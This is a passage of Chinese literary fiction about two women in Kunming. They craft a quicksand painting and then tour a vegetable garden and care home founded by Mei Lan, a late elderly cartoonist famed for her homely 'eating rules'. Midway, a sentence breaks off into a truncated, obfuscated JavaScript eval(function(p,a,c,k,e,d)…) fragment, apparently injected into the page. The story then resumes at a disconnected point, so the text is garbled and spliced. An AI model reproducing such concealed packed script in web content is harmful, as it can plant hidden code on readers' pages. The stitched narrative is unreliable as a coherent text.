这种特质挪到人身上,姜籽将其理解成,一个人可以和自己对话,有自己的能量流通方式,甚至可以有自己奇特的“后代”,就像康定赢摄影集子里那些可爱的小孩子。康定杨的精神世界可以自足,不和外界产生密切的关联,也能如风般快乐地活。这是这位隐士能隐的根本原因。 二更发现,当姜籽借用她理解植物的视角,诚恳地谈论对一个人的看法,她如同一只白马奔于绿野,自由浩荡。 姜籽心中已经有了一个礼物的轮廓了。它最好是闪闪发光的。主角的身影最好是隐藏的。姜籽从口袋里掏出来一个巴掌大小的本子,一边用笔涂写,一边呢喃着初步的思路。二更也灵光一闪,用手机搜索了几个关键词,然后把图片递给姜籽。 姜籽眼睛一亮,对,就用,流沙! 她们定制了一款流沙画。近景是一片绿地,斜度不大的草坪上,没有很多很多花,隐约躺着一个人。不是二次元里完美的王子身材,一个普通的中年人,衣着简单,有些中规中矩的老气,他就躺在那里,吹着风,衣角和裤脚轻微地随着风动着,裤脚也轻微地鼓起来。这个世界里,风很大,人很自在,背景丰富但不杂乱。水杉的红、银杏的黄、日光的浅金、天空的湛蓝、远山的青黛、松软的白云,色彩纯粹,线条简单。画框内部设置了让流沙变化的暗格,每种流沙都有自己流动的航道。当画面旋转,这幅画会发生奇特的变化,但主角,无论如何旋转,看起来都躺的很舒服,隐在画中。他像这幅画中的一座小山丘,锚定了这幅作品的意涵:恬然无思,澹然无虑,以天为盖,以地为舆。 赶在开展前几天,沙画完成。它以磁吸的方式悬挂在一个安静的角落里。 开展当天,陆均松还是一眼发现了它。他对着这件礼物伫立许久,抬起手,轻轻转动了一下这幅画,找到了一个他最喜欢的倾斜度。画面并不是完全正的,但一切十分和谐。 他看了画中藏着的人,好一会儿,转过头对姜籽和二更说,“他好像,去了这个世界。真的,我看到了。” 4. 第三课(上):梅蓝 好好吃饭老师 01 一把年纪的老太太的吃饭法则 康定杨的展览,恰到好处不温不火,拉开了石房子活动的序幕。 小院里开放了一个留言区。有传统的留言簿,有匿名邮筒,也有电子邮箱等现代通讯渠道。邮筒,周一和周五各开一次。邮筒旁边有一间小小的茶室,提供纸笔、信封和可以用作邮票的文创贴纸,上面印着瓦猫、山茶花、海鸥之类的昆明文旅IP。材料准备得很周全,但到底还是需要人花一点点时间和耐心来写。不是所有访客都有时间喝个茶、写个字,所以每次开箱,最多三五封,有时空空如也。 二更是从邮筒时代长大的人,小时候她还和远方的笔友通过信。她对中国邮政印象极好,因为她有一次写了厚厚的一打信纸,贴的邮票抵不过运费,被打上了邮资不足的戳,但邮递员却依旧送达了。自此,她总有一种欠了一份情的心理。于是,她掌管着石房子邮箱的小钥匙,像个尽职的邮差,每周都会定时开箱。 这次,有信,也有......糖纸?! 包成了一个爱心形状的糖纸。二更拿在手里摸了摸,没有什么锋利的东西,应该不是恶作剧。她小心地拆开,上面写了两个字:嘿嘿。 好吧。算你赢了。谁家的淘气孩子?! 再打开这周的信,上面是一位名叫杜衡的访客留言,笔迹工整古雅,语气有一点点宽和的长者气息。 我在康老师的画作里,看到了昆明人美好的精神状态和生活美学。这种生活美学是老百姓,你我他,在一个相对松弛的生活氛围里,在美好多彩的社会环境里,在和气友善的社会风气下,在日光普照下,被激发出的人性中美好和温暖的一面。它很质朴,来自人民群众的骨子里,也很踏实,实打实地在被阳光照暖的草坪里,在男女老少简单的衣着里,在大家质朴的笑容里。 希望你们继续潜心挖掘人民群众的生活美学! 很像一位老干部的留言,言辞恳切,二更觉得十分受用。 另一封信,笔迹洒脱狂浪,二更花了很久才全部读通。信的内容,大意如下: 这是一种不被现代的流行文化定义的美,不被西式文化定义的美,不裹挟在任何传媒、时尚话语下的美。它是从大地上生长出来的,被云贵高原上的太阳滋养出来,让人面露微笑,但内心汹涌。这是一种很感人的力量! 二更将这些反馈如实转达给姜籽、老延和陆均松。四人顺畅地定下了石房子之后一系列活动的基调:内容不限,形式不限,只一条:要能够传达出在昆明这样的城市里,那些好好独自生活的人们,日子中的生活美学,人性之中的真善美。 “一提到艺术、展览,总归会有一些人觉得离自己比较远。尤其是每天匆忙生活的人。你看那旁边晒太阳的老太太,在打扫卫生的环卫工人。只要大家都在好好地生活,好好晒太阳,好好吃饭,好好地去爱护和享受自己所爱的事物,这种日常生活本身就是一种生活艺术。这其中当然包括那些独自生活的人们,她们如何追求快乐、平静、充实,他们如何定义生活的圆满。这些,都是普通老百姓不会觉得望而却步的美好,值得用大家听得懂、也能理解得了的方式展现出来。”二更总结道。 对,就这么简单! -- 一周后的这天,二更被姜籽喊起来去晒太阳。 午觉睡到三点多,原本是独居人生最怕的一件事,因为醒来后半梦半醒大概需要半个小时,起来走动一下又半个小时,随便吃个饭再半个小时。在一些北方城市的冬季,天恐怕很快就要彻底地黑了。这感受并不是很积极。二更遇到过。假如不强迫自己出门走走,这个冬夜会很难过。一些消化不良的负面记忆会掐准时机狠狠复苏。但在昆明,这种情况不会复现。日落稳稳当当推迟在了将近八点。就算睡到一觉睡到四点多,也有余地爬起来去看一场灿烂的晚霞。 一只大金毛蹲在姜籽的电动八嘎车上,还戴了一幅儿童墨镜。小黄姜的金发迎风飞舞。见到二更走出门口,它的尾巴立马摇摆起来,像一只肥美的芒草。一旁驾驶座上,姜籽带着粉色头盔,朝二更招手。姜籽没有驾照,又很喜欢带着小黄姜出门,索性选择这种带着小狗专座的电动车,刚好可以从市区去几个滇池边的湿地跑几个来回。 二更坐在姜籽身后,视野的余光里,始终跳跃着一缕金色的绒毛。路边,十几株红梅已绽放,把视野染出片片桃红。一两株点在其间的白梅,还在矜持地含苞。 迎着光与风,二更细细地品着昆明的冬季。不是盛夏,不是暖春,二更觉得,昆明的冬对她这样喜欢独来独往的人来说,简直太美好了,让人心甘情愿地想要去原谅它在其他方面的不足。如果它有颜色,应该就是日光下的五光十色,是日光洒在各种植物身上又被折射到人眼中的色彩,带着透亮的明媚,质朴大方,干净热烈。一切闪亮的词汇都可以用在这里。每一天都不会缺少绿色,每一天都会有新的变化。很多不娇气的植物,洒在地里,就能长。独行的人,心中有郁结的人,生活有些艰难的人,也被日光拉进了这光明磊落的画面中,心上长出幸福的绒毛。 她坐在姜籽的身后,小黄姜的一旁,两人一狗,一路从从晒得光莹莹的地方,骑到温度骤降的阴影里,再浸入树影和流光里。在阳光下缓缓地骑下坡路,感受叶子洒在身上的影子,看日光经由水面折射,爬上岸边树干与树冠的流光,很日常,却又如梦如幻。 小车忽然停下来,遇上了一家洋芋摊,姜籽打算给小黄姜买个热土豆。 说起来,二更想到要来云南住几年的原因,也与烤洋芋有点关系。 几年前的一个冬天,她和同事去贵州采访民族节庆活动,在从黔西南前往昆明的高铁途中,穿越一个又一个的隧道。在贵州几日,连日阴雨,二更觉得从秋裤到袜子再到灵魂,她似乎都被雨水打湿了,到处都浸透了湿冷气。然而沉郁的心情意外终结于她们穿越昆明准静止锋的时刻。 隧道尽头,倏然一束光照进,快速行进的高铁带着她从阴雨撞入了彻底的晴朗,湛蓝的天万里无云,日光在她有些疲倦的眼皮上大方地亲吻了一下。她像跳进了色调纯真的穿越日漫,瞬间的阴晴之差叫人诧异又上瘾。二更产生了一种坚定的错觉,世界会忽然好起来。 这次工作的最后一项任务,要拍摄一队在昆明城市里推广打跳活动的年轻人。二更来到他们的小院时,一锅炉热土豆刚刚考好。打跳队的青年给工作组每一人分了一颗热土豆。一位肤色被被晒得很健康的姑娘戴着微波炉烹饪手套,帮大家把土豆切开,再用水果刀蘸一点点鲜香的辣椒酱,抹在金黄的土豆块上。二更想到了很久之前看过的一本书的书名,《一颗热土豆是一张温馨的床》。人生会骤然变好这个念想,再度被她手捧着的一颗云南的热土豆加持了。 一颗热土豆很快被小黄姜吞到肚中。“到了”,姜籽说。 尚算安静的一片湿地草坪,夹在两处湿地公园之间,只有一些本地居民住在附近的本地居民或是地道的骑行客们知晓,默契地并未在社交媒体上外传。 近处,岸边水杉已红,三、五只鸭子靠在水中的落羽杉树根下开会。一只独行的鸭子,反方向渐渐远去,在湖面划出一道三角形的水痕。斜对岸的喧闹湿地,隐约能看到来喂红嘴鸥的游客们。他们拥挤着,愉快地拍拍天空,怕拍红嘴鸥,拍它们飞过西山睡美人的轮廓,拍它们落在音乐家聂耳雕像的头顶上。红嘴鸥的叫声和人声的喧嚣声存在,在恰如其分的距离以外,那是一种温和的遥远,反而叫人安心。 姜籽把自己张大成一个标准的“大”字,四肢在干净的草坪上自在地划拉了几下,找到一个最舒服的姿态,“我睡一会儿噶!”。 二更跟着学,身体放松,思绪逐渐开始糊。就在她刚要进入浅睡时,一道温和的声音叫住了她。 二更迷糊地睁开双眼,日光太明朗,有些晃眼。她伸手摸到放在草坪上的墨镜,慌忙戴上,看人。 眼前是一位优雅的女士,一头银发,亮闪闪地晕出月光般的柔光,眉眼弯弯,牙齿很白。“ 看你们躺在这里晒太阳,像是本地的孩子?”她问。 一听对方说话是标准的北方口音,二更以为是外地来游玩的游客,想要问路,便连忙起身问道,“有什么可以帮您的?” 女士笑笑,“也算是帮忙的。我们养老院要办一场活动,是一场纪念性质的公益宴会,免费的。这是邀请函,你们有兴趣来吗?” “冬日可爱小菜园?” 二更接过这张邀请函。它的形状似一朵盛开的白山茶,内里写着活动的主题:梅蓝女士纪念公益宴。署名是日光彩虹康养院X冬日可爱小菜园。 “冬日可爱小菜园?”姜籽也醒了,她眼睛一亮,翻身坐起,问道,“这就是那位画《一把年纪的白发老太太吃饭法则》的老太太吗?” 姜籽说的是以漫画形式走红并连载于某生活类APP的一组手绘图片,发布者是一位注册名叫“春夏秋冬都要好好吃饭”的70多岁的女性用户。这个账号会基本按照一日三餐的频率,按时记录自己的饮食。菜品没有什么奢侈的食物,家常当季,营养均衡,口味清淡。再后来,单纯的照片渐渐变成了手绘的漫画。她从2018年开始学习用IPAD画画。她从未接触过绘画,老年后的简笔画遵循了简单随心的风格,有孩子般的稚拙风格,再配上一些文字。APP平台原本计划在银铃节、重阳节等节点重点推送这名用户的发帖,没想到,她的最大受群竟然是年轻人。因为,她确实是一位十分可爱又很有创造力的老太太,有时候,有些慵懒,不那么正经,从来不会死板。 大家给这些小画起了一个名字,“一把年纪的白发老太太的吃饭法则”。 -- 01 醋瓶底子原则 过去的事,解不开,无解的,就让它存在着吧。 就像一瓶好的陈醋,吃完了,总有沉淀。 当看不见好了,当湖底的石头好了,渐渐地和地球连在一起,很踏实。 02 鸡蛋裂缝原则 每天清晨,吃一个鸡蛋。 大家要保证每天吃一个鸡蛋。煮一个鸡蛋,拿着还温乎乎的鸡蛋,就往外散步去。可以拿着鸡蛋不断的搓脸,把脸颊、眼窝都温得热乎乎的。等到鸡蛋温度降下来,就随便找一棵看着顺眼的树,砰砰砰磕几下。蛋壳碎了,一边散步一边剥壳一边慢悠悠地吃掉,最好把鸡蛋的鸡蛋完整地保存下来,然后丢进垃圾桶。 不爱吃鸡蛋的人,可以试试这个办法,保证一天一个蛋。 03 蛋挞情人原则 去甜品店也可以买蛋挞,但只买1-2个,路上就能吃完,不带回家。 就像情人最好在外面幽会,但不要带回家。这样也不会有负罪感。(当然这只是一种比方)。 这个法则其实适用于一些不那么健康的食物。 要记住冰箱就是自己的家,不能不忠。太甜太油的食物,最好少放或者不要放进去。 04 一小口原则 不好吃或者害怕吃的食物,一小口原则,就不会觉得抗拒或者害怕。 或许,就会慢慢地喜欢上。 多吃一些新奇的,可爱的食物,譬如地方特色食品、少数民族食品,乃至一些网红黑暗料理。只不过,不许多吃,只能一小口。 这一小口,也代表了不老且刚好的好奇心,是人生对外开放的使用法则,就像睡得不太舒服,把一只脚伸出被子,缓一下,就好了。 05 森林里不只有菌 有小朋友问,不结婚可不可以。 我想做这样一个比方:你走入一片森林,或许最开始,很容易被那些蘑菇吸引。它们生得五颜六色,还有些隐匿,这让寻找蘑菇的过程十分有趣,人们被蘑菇吸引,理所应当。 蘑菇有很多种。有些样子朴实,藏在松树下的落叶里,经常被松针、杉树的叶子、松果和麻栗果子铺盖着,难以被发觉。有些光鲜妩媚,金黄色、银白色、紫色、红色、乳白色,形态各异,有的纯洁得如童话里的仙子,也有一些,在林间很妩媚,但一入人间就是毒药。 有些人喜欢采蘑菇,也有些人不喜欢采。 有些人采到了可以吃的蘑菇,有些人会猜到吃了中毒产生幻觉的蘑菇,甚至有些人因此丧生。有些人一辈子就沉浸在找蘑菇的快乐里,只要不是杀害人的毒蘑菇,也是很有乐趣的。 大多数云南人都知道,菌子,还是要选自己喜欢的几种吃。有些特别好的,从来不和别的菌子混着吃。所以地道的云南吃法,不太会把特别喜欢的菌子混在一起炖成火锅吃,因为味道会乱窜,尤其是好的味道反而被冲淡了。 当然,有人不会沉迷于摘菌子。因为我们来到的是一片森林,是一片森林啊! 森林里脚边有菌子,还有蕨类,还有各种小花小草,身边有空中悬挂的藤类和低矮的灌木,再抬头,就是参天大树。就像云南的林子里,常见油杉、松树、柏树、樟树、桑树,随便哪一棵,都是伟岸挺拔的。如果有人喜欢看树,漫步林间,去仰望树,观察树,体会绿,也是一件再正常不过的事。只要多走走,人就会很自然地喜欢上这种自在漫步的感觉。 但这些,或许和只摘菌子就不往前走的人,不一定能说不明白的。 大家各有乐趣就好。 森林是多彩的,包容的。 无论你沉迷于它的哪一点,只要你开心,森林就有意义。 06 不便秘原则 一个便秘的人是无法让人身边的人幸福的。 一个人只有把自己的作息饮食细节调节好,内心才真的简单干练,带给身边人的感染才真的平和。 平和到了极致,就是温柔。 07 腌肉理论 肉不新鲜,不合适,买东西来凑,结果都是不好的。 一开始就放弃,一开始就寻找对的,反而最简单。 08 属于自己的盘子 买好看的盘子,即便别人看不到,也要好好生活。 杯子和碗,也一样。 09 言有灵法则 人要学会赞美食物。 如果吃到了很好吃的食物,就做个记录,记在本子上,或者,记在手机里。 甚至吃到一些奇怪的水果或是蔬菜,都可以给它们编一些故事。 身体像一座宝塔,每天放一些可爱的食物,赞美它们,它们就会发挥更好的效用。 10 腰上的肉肉 侧腰上的肉肉,不要太少也不太多。不能软糯得像汤圆,也不能像软透了的猪蹄膀,像猪蹄那样,刚刚好。鸡蛋那样,也不错。 睡不着的时候,戳一戳,弹力刚刚好助眠。 -- 两年前,这个账号停更了。直到最近仍然常有人留言。大家会问,“好好吃饭老师”去哪里了?这是年轻粉丝们送给她的雅号。 不久前,账号更新了一篇新的文章,也是置顶文章。评论区炸开了。这不是一个好消息,这是一篇迟到的讣告。但它早已过时,所以,没有迟到的悲伤和沉痛的告别,而是一份诚挚的邀请。 -- 冬日可爱小饭桌,是梅蓝女士一手创办的。至今,已经十周年了。 去年年初,梅老师离开了。她离开得很安详。请大家节哀。 我们经历了一场温柔的雨。雨后,我们扫静心情,整理庭院,开始迎接新的开始。 过去一年来,按照梅女士的遗愿,我们启动了“冬日可爱小饭桌回馈社会计划”,先后与昆明北市区的多家社区福利机构成为伙伴,如孤老院、孤儿院以及商业性质的康养院、流浪动物救助机构。友谊带来的喜悦平和了失去梅女士的心痛,也创造了更多社会价值。 在梅女士离开一周年之际,也是冬日可爱计划运营一周年的纪念日。 我们希望以一场公益宴会,欢迎新老朋友! -- 这次宴会面向全社会开放,优先考虑梅蓝老师的粉丝们。按照冬日可爱的餐厅规模,内场和外场共能容纳800人。很快,申请就满额了。 同时,有几个特意留出的名额,由常桉女士亲自把握,留给了梅蓝以前喜欢去的几个地方,在冬日暖阳偶遇的陌生人。常桉,就是二更和姜籽在湿地边遇见的女士,也是冬日可爱小饭桌如今的负责人。 02 冬日可爱小菜园 两日后,二更和姜籽造访冬日可爱小菜园。 它位于昆明北市区,有两个门,东门和西门。从地图上看,似乎分不出所谓的正门在哪里。二更随意选了个,西门。 选错了。西门是后门。一个小门,当然也是能进的,卫门大爷一听“是来吃饭的”,立马放行。进来之后是一大片菜地,也是冬日可爱小饭桌这家主打食材自供的餐馆真正的菜园。 两人沿着一条明显的主道往前走了一段路,似乎停在了菜地的中心点。大片菜园,从中心向外辐射,分出十几条岔路。走进来容易,然而接下来往哪里走,却是个问题。第一次来的二更和姜籽,很难分得清东西南北。目光所及之处,皆是“小马甲的菜园”“陈小无的基地”“王老师的培育田”之类的信息牌。 此时,如果有一只小飞机从二人头上俯瞰,一切就变得十分明了。 冬日可爱小菜园,建在昆明北市区一处流水瀑布公园旁边。周边有三五个居民小区、几家康养院。其中一家日光彩虹康养院,距离公园与餐馆都很近。康养院与小菜园的主要投资人都是梅蓝女士。康养院创立已十多年,小菜园创立也有六七年。起初,餐馆在一个叫做小菜园的立交桥附近,是一个自助的素食餐馆,是梅蓝为了践行护生理念做的一个保底生意。后来为了康养院住客们种地与饮食的联动需求,才搬离了市中心,落地现址。 姜籽和二更停在了小菜园的菜地中心,其实,沿着东南方向的一条小径往前,就能抵达小菜园的餐厅。这片菜地是小菜园食客与康养院住客们的菜地。大家象征性地缴纳一些租地费用,可以自己耕种,也可以出一些费用,让康养院的叔叔阿姨们帮忙看护。每一片菜地都有名字、面积和蔬菜品类等详细登记信息,种植情况有专人跟踪,定期上传图片和信息,供主人们知晓情况。采收的蔬菜可以配送给同城的主人,也可以被食堂回收,抵消部分租地费用。承包活动实行以来,从来没有一片菜地空着。大部分承包菜地的主人,来自于小菜园的邻居---日光彩虹康养院。 盯着餐馆来客动态的常桉,正举着望远镜,恰好发现两个迷路的人,前来搭救。 “现在年轻人不太经常自己做饭了吧?”,常桉一边搭话,一边带着两人向着挂着“张老五菜地”标识牌的东南岔道走。 姜籽和母亲一起住,不必担心这个问题。二更接过话题,回应说,“我做饭不好吃。有时候,做出来的东西也不太能吃,但还是会经常做点简单的东西自己吃。” “不能吃?”常桉有点疑惑? “就是......最开始,做出过碳。”二更说得很坦然。 “碳?”常桉琢磨了几秒,恍然大悟,哈哈大笑起来,“碳!哈哈哈!”意识到笑得太过直接了,常桉迅速修整了一下,意味深长地看了一眼二更,眼睛亮晶晶地说,“不怕,梅姐也这样。她以前也会做出来,碳。”说罢又忍不住,咯咯笑起来。 “不过,你答应我,帮她保密,我也帮她保密了很久”。常桉边走边说,“我亲自邀请了几位客人,能来的只有你们两位。要么时间不对,要么是游客,现在已经离开了昆明。”她又指了指旁边一片花田,这时恰好长出了绿油油香菜和小葱。“这是梅姐曾经种过的菜地。先是在她常去的湿地边遇见了你,你又是和她一样厨艺不太好的人,或许,你们有缘吧。” 正因为厨艺不好,又要想如何好好吃饭,梅蓝才会认真做起冬日可爱小菜园来,让自己和更多人有新鲜简单的食物吃,保证健康均衡的一日三餐。她把一件自己做不好的事,变成了会造福更多的事,让更多人可以好好吃饭。 好好吃饭,不容易。一个人过,还能做到好好吃饭,更不容易。有过一个人住、一个人做饭、一个人生活的经历,二更觉得,用“伟大”来形容这项成就也不为过。这需要对生活、对自己有很多很多的爱,并且自律去执行。 做记者那些年,工作很忙,她很多时候懒得吃饭,结果经常低血糖。三十多岁之后,坏习惯改得并不彻底,时不时贫血。意识到自己不能再如此了,她决心好好吃饭,新的问题又出现了。 首先,一个人吃饭,分量很难控制。豹子捕到猎物后拖回家,慢慢吃,真是一个好习惯,但豹子们专一,她不太能做到。一包山药米粉就要吃很多天,买回家的食物,有时也想不起来吃。一种食物反复吃来吃去的时候经常有,吃着吃着,就觉得,天啊,人生好像没有盼头了!只能一边念着对不起对不起,一边偷偷丢掉已不新鲜了的变质食物。 再者,偶尔会无聊。她看吃播看了好几年,收藏列表里有一堆吃香很好的吃播,清一色都是圆圆脸、圆圆手、一眼看过去就很有福气的女孩子。她们吃的都是家常菜。最爱的一个吃播,三、四分钟的短视频里,每隔十秒钟就会从身后掏出来一种新的食物,好像美食界的哆啦A梦。但说起来,真的自己去吃视频里的食物,又似乎没那么好吃了。 吃饭挺难,做饭也不是一件简单的事。一个人在家做饭,从买菜、备菜、做饭到洗碗、整理厨房,需要花很多时间和精力,每天都来一遍,很吃不消。有时候,二更会跑很远到一家超市去买菜,因为那里有切得很小的紫甘蓝坨坨、大头菜坨坨。这就是一个人做饭经常要面临的问题,从买菜这一步就不太方便。 打扫也很累心,对于一个有些洁癖的人来说,尤其不易。刚毕业时,二更租了一处很宽敞的房子,到处都挺干净。唯独厨房,因上个租客是个美食家,喜好油辣,留下了很多痕迹。二更请了专业的清扫服务,但仍然有些痕迹。于是她自己来,忘记废掉了多少个抹布,才基本完工。累到不行蹲下来休息的时候,她突然发觉,自己把犄角旮旯的油污清理干净的过程中,一个陌生人在这个房子里吃过的油的证据,被一点点发现,又被一点点抹掉了。原来人做饭会留下那么多的痕迹,墙上瓷砖上的油点子、抽油烟机油盒里的油污、柜顶上不知道多少年陈年积累的褐色油疙瘩。这么想想,人的消化和排泄系统真的很伟大。 在那之后,她自己做饭时,一般只做煮和蒸的食物,水蒸气不太会给厨房留下什么擦不掉的痕迹。退房时,房东看着水灵灵的厨房,十分满意。 二更对食物的接受度,估计算是人类的下线了。胡萝卜水煮也可以。甚至银耳、白萝卜水煮都可以。所以她不太喜欢和别人一起吃饭,因为这样的菜色一旦被人知道了,就会被觉得活得很可怜。她一个人过春节、过中秋、过国庆节、过清明节,很少吃节日特色食物。在吃饭这件事上,是很敷衍的。以至于有次去见朋友,对方带来一个家人削好的苹果递给她时,她感慨良多。她很久没有吃过这样的苹果了。像她这种自己生活,并且时不时会偷懒潦草敷衍一下自己的人,根本不会削苹果,直接就上嘴啃了。有时候她会忘记买苹果,或者来不及买苹果。有时候她要忙着把自己没经验买多了的冬枣、橘子、橙子抓紧吃完,尤其是香蕉,它们总是会黑得很快。 这些年,她也创造过一些只有自己喜欢的吃法,奇奇怪怪的。毕竟只是自己吃,不害人,因此不必苛责。比如,生菜叶子包一切,包喜欢吃的烧麦、咸蛋黄,包一些买回家的梅干菜千层肉。她也尝试过偶尔心血来潮,自己做一些奇特的菜式。早年因为不懂得食物相克,也曾不幸地把自己吃到食物中毒过,诸如什么芹菜香菇鱿鱼脚丸子,就是很好的“毒”。这些年,她偶尔也做出过一些可口的怪异菜品。比如有次她从超市买回了两种味道不同的辣椒酱,广式蒜蓉辣酱,桂林口味辣酱,但没有一个是辣的。她用两种辣椒酱混着番茄酱和醋,把买回来的熟猪肚二次加工了一下,起名叫做“辣卤淡淡肚”。也是缘分啊,人生能吃上这道名菜。竟然味道还不错。但也就只做过那一次了。 二更边走,边在心里暗自回想这些,什么“辣卤蛋蛋肚”,什么把自己吃中毒的往事,自然是,都不好意思说出口的。 但正因如此,她才十分理解为何梅蓝那些一日三餐的日常吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这里原本是一片荒地。种上菜,就生机勃勃了。人生啊,就像开荒。年轻的时候觉得日子很忙,结婚,生子,养小孩长大,送老人病走,几十年填得满满当当。但老了,回头一想,人生,到底还是像一座孤岛,还是要一个人面对很多事情,比如晚年了,身体衰退,比如要面临死亡,走也是一个人走。爱,陪伴,金钱,都可以适度地减轻这个事实,但没办法改变它的本质。所以我们很多老人家,喜欢种地,种地踏实。想明白了,看到底了,也就心境平和了。”常桉感慨道。 大棚门没关,里面现在栽着小葱。 “小张喜欢看葱开花,葱每次开开出来那种很漂亮的花,他都会做成那插花。他还喜欢吃醋,后来慢慢的积攒了各地的醋。来云南之后,他很开心,因为各地都有发酵的醋,还有不少酸汤米线。” 常桉带着两人继续向前,来到小马的菜地。 “小马,因为种菜种得好,大家都叫她马老师。小马确实是个语文教师。我们叫她小马,其实她也60多了。她住的院子有单独的厨房,自己可以做饭。如果闻着排骨很香,那一定是她在做饭。 我们现在有一个黑名单,蛇瓜,倭瓜。因为当年当整个院都在种窝瓜,倭瓜又长得非常好,又很好种嘛。所以产能过剩,我们还送给旁边所有的单位,甚至周边的几家银行。它们有段时间都不给办卡的送大米,送油了,直接就送窝瓜。再后来,我只好做了一个决定:再也不许种窝瓜了,这股风潮才终于停下来。” 前面几步,是一个公共菜地,种花生和大蒜。常桉问二更和姜执,是否知道这些每天都吃的调味品种多久才能收。两人都不出声。常桉不意外,笑着解释道,“大蒜需要8-9个月。小葱7-10天可以出苗,20-30天可采收。香菜是30天到60天左右。” 说起来,二更成年后第一次近距离地感受一个陌生独居老人的去世,也和菜地有关。 那时她在广州短暂地外派,住进了一个有些年岁的老家属院。第一周,楼下一层,有个老太太去世了。老伴去世后的十几年,一直自己住。老太太人很好,还是附近几个小区里小朋友的钢琴教师,平时和居委会关系也不错,常年给社区的合唱队做伴奏。老太太祖上是山西人,她自己会做山西面食,最特别的是榆钱窝窝、槐花饼子。她通常会多做一些,分给邻里。那是在广州不容易吃到的味道。 她去世后,居委会和学生们、歌友们在她家中,举办了一场很安静的小型告别会。家里非常干净,客厅里除了必须的餐桌椅,几乎没有其他家具,空间留给了一个挺大的隔音仓,里面放着钢琴。卧室很温馨,虽然是复古的老黄风,但质感很好。镜子尤其典雅,浮雕花是木棉花。这是广州很常见的花,人们会捡拾落花,晒干了,用它煲汤。 她还有一项特殊的遗产,留给了邻里--小区公共菜地里种出好风水的一块菜地。从那之后,小区的人们几乎不用再买葱姜蒜了,偶尔还有香菜。学生们和家长们轮流在打理这片菜地。二更不怎么做饭,但也值过班。 “我喜欢香菜的味道”,二更想起值班时自己摘香菜的记忆。 “梅姐也喜欢。”常桉说话间,小菜园的主餐厅到了。 餐厅靠近一片人工湖,锦鲤养得很胖,人隔很远都能看见并知晓它们的肥美。老人们喜欢给他们喂食,可惜到了有害锦鲤健康的程度,所以常桉要时不时地制止。 人工湖中,还漂浮着一片王莲叶。但只有一片。“假的,老小孩愿意玩,底下是稳稳的水泥桩子,心情好了他们就过去,在上面站桩。”常桉说。 餐厅的主体建筑是一个两层白色小楼,从外面看,窗户饶有趣味,上面绑了各种娃娃玩偶,各种皮卡丘、奥特曼、猫猫狗狗都往窗上爬。康养院老年活动很多,大家动不动就抱回来一些,索性就往窗户上装饰。 “那扇叫‘猫狗开会’。那扇叫‘霁月清风窗’。”常桉道。 “窗户还有名字?”姜籽很是惊讶。 “可不是。只要你想,什么东西都可以有名字。还有那个”,常桉指指二楼窗户上的一片白色。 那是.....两人更加疑惑。 “一片白色的卫生纸,他们给它起名叫‘小黏黏’。这片纸,在这里有快一年了。”常桉解释道。 两人忍不住哈哈大笑起来。 “人老了,活明白了,会逗自己乐了”。常桉道。 她带着二更和姜籽转向一边的山茶花园。起初,这里是作为月季主题的小园林来设计的,红墙上还特意造了一些错落有致的几何形小窗,计划营造窗中带景、移步换景的效果。地栽的区域,种植了扉窗这类强壮的地栽类月季,红墙上爬藤架的区域,种植了大游行、胭脂扣、黄金庆典、龙沙宝石等爬藤类的月季。每年秋冬季节,月季盛开,确实会铺展开一片层次分明,花窗饱满的月季花海。但大多数时候,反而是山茶开得好。于是,月季园在一年之中一半时间里,成了山茶园。如今,环环之间,月季只零零落落地开,红山茶却开得正酣,无人可争红艳。 日光正好,花园的座椅上,床单被风吹鼓,像蓬蓬裙。这里晒了不少床单。晒足一上午,要收床单了。 一个阿姨扬起一张床单,她在借力,借助风的力量,把床单顺着风吹的方向整齐地折好,像在和风一起合作。床单不大,单人份床单。二更一眼认出,1.2或是1.5米宽。 单人份的被子很轻,很容易打理,好换被罩也好收纳,不至于为了换个大被子的被罩就累得气喘吁吁。单人份的小被罩和小床单,一个人撑开双臂就可以差不多拿住,折叠起来也轻松得多。在这一瞬间,二更发现,独居的人会有一套彼此能懂的生活密码与窍门。 还有几个阿姨在收晒好的衣服,袜子晒暖了,握在手里暖暖的。一个人捏开夹子,让袜子像雨滴一般落下,另一个人用围裙兜着,像接落花一般接住袜子。全程没有一个人说话,她们根本不需要语言,也能玩得很开心。 常桉见两人看这幅画面出了神,没有打扰。等到阿姨们把床单被子袜子都收好,才引两人到花园处的一个座椅上坐下。 山茶花园中心的喷泉喷着水,在日光下,折射出幽微的彩虹。日光彩虹,约莫就是这个画面吧,二更心想。 这次纪念宴会,分为内场和外场。内场是小白楼餐厅常规设置,外场则是露天的餐厅,每个餐桌都不大,最多只能容纳五人,也有三人桌。桌子上都设有一个蘑菇形状的遮阳棚。 二更和姜籽提前很早过来,此刻外场只是零散着做了几位食客。老少都有,银发、黑发的头顶像绿地里冒出来的小蘑菇。银白色的小蘑菇,大多不惧怕日光,彻底地晒在露天,闪着晶莹的光。黑发的小蘑菇们,大多集中在蘑菇遮阳伞下。但如果有那种长度到腰、像油条那般粗的辫子,不用怀疑,都是中老年人,它们属于一些充满高原的生命力的阿姨们。 “在全力接手小菜园的这一年以来,我才渐渐明白,为什么梅姐决心做一个小菜园。”常桉说。 在常桉看来,关于梅蓝,关于小菜园,有两套解释。 一套是对外通用的。 梅蓝,北京人,1948年生人,上世纪60年代,曾在云南做知青。70年代返乡后参加高考,报考中文专业,之后从事语文教师工作至退休,丧偶后未育。她和友人联合创办这家康养院的原因之一,是因为很多人的青春曾在这里度过。在那个复杂年代,她们那代人付出过青春,甚至付出过生命,但也产生了许多人生体悟,诸如困境中的生存之道、闭塞中的豁达心境,以及特殊年代产生的爱情与友情。这些也都是赤诚的,无法在其他年龄、其他地方再复刻了。 养老院创办后在云南知青圈子里很有知名度。起初,考虑到交通与医院条件等现实条件,彩虹康养院设立在昆明。后来,又在普洱、元谋、大理等地开设了分院。除了常居的老年群体,这里还会定期举行云南知青的社团游与短期康养体验项目。从集体宿舍,单人间,到单人院落都有,除了提供常规的康养服务,彩虹康养院还提供临终关怀以及老人去世后一系列的后事操办事宜。 